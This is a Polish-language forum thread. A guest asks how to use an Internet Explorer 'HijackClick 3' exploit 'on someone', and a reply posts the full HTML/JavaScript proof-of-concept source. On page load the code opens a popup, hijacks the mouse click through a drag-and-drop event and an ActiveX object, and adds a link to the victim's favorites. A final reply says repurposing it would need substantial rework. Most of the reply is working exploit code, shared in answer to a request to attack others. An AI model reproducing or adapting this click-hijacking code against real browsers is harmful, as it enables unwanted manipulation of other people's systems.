G
Guest
Gość
Mam pytanie jak moge tego exploita uzyc na kims?Jesli wogukle nie ma zrodla tego exploita tylko jest link http://freehost07.websamba.com/greyhats/hijackclick3.htm do przetestowania.
Mam pytanie jak moge tego exploita uzyc na kims?Jesli wogukle nie ma zrodla tego exploita tylko jest link http://freehost07.websamba.com/greyhats/hijackclick3.htm do przetestowania.
Wojass
Użytkownik
- Dołączył
- Sierpień 22, 2003
- Posty
- 347
Kod:
<html>
<head>
</head>
<body onload="showpop()">
[b]<font size="5">HijackClick 3!!!</font>[/b]
[url="javascript:document.execCommand('Refresh')"]<font size=4 color=red>Exploit activated on load</font>[/url]
Alright microsoft. Get your act together. Seriously, this is the 3rd version of this vulnerability and we can still cause a drag and drop event.
Well anyway, to the people that don't design easily exploited software, simply click the link on the popup that points to 'The [i]Better[/i] Browser' (Hmm, wonder what that could be...) to cause a drag and drop event and add it to your favorites.
<script>
function showpop(){
pop=window.createPopup();
pop.document.body.style.margin=0;
pop.document.body.innerHTML=txt.value;
pop.show(300,300,300,100);
}
function showalert(){
absspan.style.display="none";
alert("Mouseclick hijacked! Link has been added to your favorites. If you refresh this page and click the link again, IE will ask for your confirmation to overwrite the existing file.nnBig thanks to Liu Die Yu for the concept of hijackclick. This exploit uses the same payload as his.");
}
</script>
<OBJECT id=nsc TABINDEX=10 title="FavTest" accesskey="t"
style="background:window; HEIGHT=0; WIDTH=0"
CLASSID='clsid:55136805-B2DE-11D1-B9F2-00A0C98BC547'
helpid=50490
helpfile="iexplore.hlp" width="192" height="192">
</OBJECT>
<textarea id=txt rows="1" cols="20" style="display:none">
<html>
<body>
<table width="100%" height="100%" border=3><tr><td valign=top>
<center>
Click this link: [url="http://www.mozilla.org/products/firefox/"]The [i]Better[/i] Browser[/url]
</td></tr></table>
</textarea>
</body></html>DevilLama mogles to sciagnac flashgetem i zapisac jako plik txt
nie wiem jak, napewno nie łatwo , najpierw zastanow sie co robi ta prezentacja, poprostu dodaje link do ulubionych przechwytujac klikniecie, samo dodanie pliku polega na Drag&Drop,
chcac to wykozystac w inny sposob trzeba porzadnie przerobic kod
